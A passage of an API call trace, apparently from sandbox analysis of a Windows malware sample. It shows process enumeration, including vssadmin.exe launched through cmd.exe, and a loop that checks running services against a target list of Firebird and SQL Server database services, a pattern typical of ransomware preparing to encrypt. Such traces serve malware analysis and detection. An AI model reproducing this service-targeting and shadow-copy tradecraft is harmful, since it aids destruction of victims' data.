	[0037.149] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0037.151] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0037.151] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0037.151] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0037.151] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0037.152] lstrlenW (lpString="allowance.exe") returned 13
	[0037.152] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0037.153] lstrlenW (lpString="conducting affect.exe") returned 21
	[0037.153] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0037.153] lstrlenW (lpString="plaintiff.exe") returned 13
	[0037.153] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0037.154] lstrlenW (lpString="dialog.exe") returned 10
	[0037.154] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0037.155] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0037.155] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0037.155] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0037.156] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0037.156] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0037.156] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0037.157] lstrlenW (lpString="dllhost.exe") returned 11
	[0037.157] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0037.158] lstrlenW (lpString="dllhost.exe") returned 11
	[0037.158] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0037.159] lstrlenW (lpString="swpesp.exe") returned 10
	[0037.159] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0037.159] lstrlenW (lpString="cmd.exe") returned 7
	[0037.159] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0037.160] lstrlenW (lpString="conhost.exe") returned 11
	[0037.160] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0037.161] lstrlenW (lpString="vssadmin.exe") returned 12
	[0037.161] Process32NextW (in: hSnapshot=0x168, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0037.161] CloseHandle (hObject=0x168) returned 1
	[0037.161] Sleep (dwMilliseconds=0x1f4) 
	[0038.624] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0228
	[0038.625] EnumServicesStatusExW (in: hSCManager=0x35d0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0038.625] GetLastError () returned 0xea
	[0038.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e51b0
	[0038.625] EnumServicesStatusExW (in: hSCManager=0x35d0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e51b0, cbBufSize=0x11e4, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e51b0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0038.626] CloseServiceHandle (hSCObject=0x35d0228) returned 1
	[0038.626] lstrlenW (lpString="Appinfo") returned 7
	[0038.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0038.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0038.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0038.626] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0038.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0038.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0038.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0038.626] lstrlenW (lpString="AudioSrv") returned 8
	[0038.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0038.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0038.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0038.626] lstrlenW (lpString="BFE") returned 3
	[0038.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0038.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0038.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0038.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0038.627] lstrlenW (lpString="CryptSvc") returned 8
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0038.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0038.627] lstrlenW (lpString="CscService") returned 10
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0038.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0038.627] lstrlenW (lpString="DcomLaunch") returned 10
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0038.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0038.627] lstrlenW (lpString="Dhcp") returned 4
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0038.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0038.627] lstrlenW (lpString="Dnscache") returned 8
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0038.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0038.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0038.627] lstrlenW (lpString="DPS") returned 3
	[0038.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0038.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0038.628] lstrlenW (lpString="eventlog") returned 8
	[0038.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0038.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0038.628] lstrlenW (lpString="EventSystem") returned 11
	[0038.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0038.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0038.628] lstrlenW (lpString="gpsvc") returned 5
	[0038.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0038.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0038.628] lstrlenW (lpString="iphlpsvc") returned 8
	[0038.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0038.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0038.628] lstrlenW (lpString="LanmanServer") returned 12
	[0038.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0038.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0038.628] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0038.628] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0038.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0038.629] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0038.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0038.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0038.629] lstrlenW (lpString="lmhosts") returned 7
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0038.629] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0038.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0038.629] lstrlenW (lpString="MMCSS") returned 5
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0038.629] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0038.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0038.629] lstrlenW (lpString="MpsSvc") returned 6
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0038.629] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0038.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0038.629] lstrlenW (lpString="Netman") returned 6
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0038.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0038.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0038.629] lstrlenW (lpString="netprofm") returned 8
	[0038.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0038.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0038.630] lstrlenW (lpString="NlaSvc") returned 6
	[0038.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0038.630] lstrlenW (lpString="nsi") returned 3
	[0038.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0038.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0038.630] lstrlenW (lpString="PcaSvc") returned 6
	[0038.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0038.630] lstrlenW (lpString="PlugPlay") returned 8
	[0038.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0038.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0038.630] lstrlenW (lpString="Power") returned 5
	[0038.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0038.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0038.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0038.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0038.631] lstrlenW (lpString="ProfSvc") returned 7
	[0038.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0038.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0038.631] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0038.631] lstrlenW (lpString="RpcEptMapper") returned 12
	[0038.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0038.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0038.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0038.631] lstrlenW (lpString="RpcSs") returned 5
	[0038.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0038.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0038.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0038.631] lstrlenW (lpString="SamSs") returned 5
	[0038.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0038.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0038.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0038.631] lstrlenW (lpString="Schedule") returned 8
	[0038.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0038.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0038.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0038.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0038.631] lstrlenW (lpString="SENS") returned 4
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0038.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0038.632] lstrlenW (lpString="ShellHWDetection") returned 16
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0038.632] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0038.632] lstrlenW (lpString="Spooler") returned 7
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0038.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0038.632] lstrlenW (lpString="SysMain") returned 7
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0038.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0038.632] lstrlenW (lpString="Themes") returned 6
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0038.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0038.632] lstrlenW (lpString="TrkWks") returned 6
	[0038.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0038.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0038.632] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0038.633] lstrlenW (lpString="UxSms") returned 5
	[0038.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0038.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0038.633] lstrlenW (lpString="WdiServiceHost") returned 14
	[0038.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0038.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0038.633] lstrlenW (lpString="WdiSystemHost") returned 13
	[0038.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0038.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0038.633] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0038.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
